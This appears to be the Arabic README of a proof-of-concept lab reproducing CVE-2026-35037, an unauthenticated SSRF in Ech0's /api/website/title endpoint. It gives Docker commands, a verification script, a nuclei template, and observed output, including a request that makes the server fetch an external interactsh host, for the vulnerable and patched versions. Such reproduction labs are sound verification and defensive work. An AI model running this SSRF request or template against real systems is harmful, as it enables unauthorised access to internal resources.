
POC_CVE-2026-35037
يحتوي هذا المستودع على مختبر محلي معزول لإعادة إنتاج ثغرة CVE-2026-35037، وهي ثغرة SSRF غير موثقة في نقطة النهاية GET /api/website/title الخاصة بـ Ech0.
يستخدم المختبر خادم أدلة محليًا خاضعًا للتحكم بدلاً من البيانات الوصفية السحابية أو البنية التحتية لجهة خارجية.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1؛ ويصف NVD الإصدارات السابقة لـ 4.2.84.2.8GET /api/website/titlewebsite_urlالمراجع:
docker-compose.yml: يقوم بتشغيل Ech0 وخادم HTTP محلي للأدلةDockerfile.ech0-lab: يبني Ech0 من العلامة الرسمية على GitHubverify-cve-2026-35037.sh: يرسل طلب التحقق من SSRF الخاضع للتحكمevidence/index.html: صفحة HTML خاضعة للتحكم مع عنوان <title> فريدnuclei/CVE-2026-35037.yaml: قالب nuclei مرشحالعلامات القديمة الضعيفة لـ Docker مثل sn0wl1n/ech0:4.2.1 لم تكن متاحة عند إنشاء هذا المختبر. بدلاً من ذلك، يبني المختبر من العلامات الرسمية lin-snow/Ech0 على GitHub:
v4.2.1 للمرشح الضعيفv4.2.8 للمقارنة المُصحَّحةيتجنب ملف Dockerfile المحلي أيضًا مشكلات البناء من المنبع التي لوحظت مع build.Dockerfile القديم.
curlnucleiشغّل هذا فقط في مختبر محلي معزول. لا تستخدم هذه الأوامر ضد أنظمة طرف ثالث. استخدمها فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.
تشغيل Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
أرسل طلب التحقق الخاضع للتحكم:
sh verify-cve-2026-35037.sh
الاستجابة المتوقعة للثغرة:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
تأكد من أن Ech0 وصل إلى خادم الأدلة الخاضع للتحكم:
docker compose logs evidence
سجل الأدلة المُشاهَد:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
تشغيل Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
تشغيل نفس الطلب:
sh verify-cve-2026-35037.sh
الاستجابة المُصحَّحة المُشاهَدة:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
التحقق من صحة القالب:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
التشغيل ضد الإصدار الضعيف v4.2.1:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
النتيجة الضعيفة المُشاهَدة:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
التشغيل ضد الإصدار المُصحَّح v4.2.8:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
النتيجة المُصحَّحة المُشاهَدة:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ داخل شبكة Docker Compose.{{interactsh-url}} ويتطلب دعم OAST/interactsh.{{interactsh-url}}، والذي يتصل بخوادم interactsh الخاصة بـ ProjectDiscovery مثل oast.online أو oast.fun افتراضيًا. استخدم -iserver لتجاوز الخادم أو -ni لتعطيل interactsh.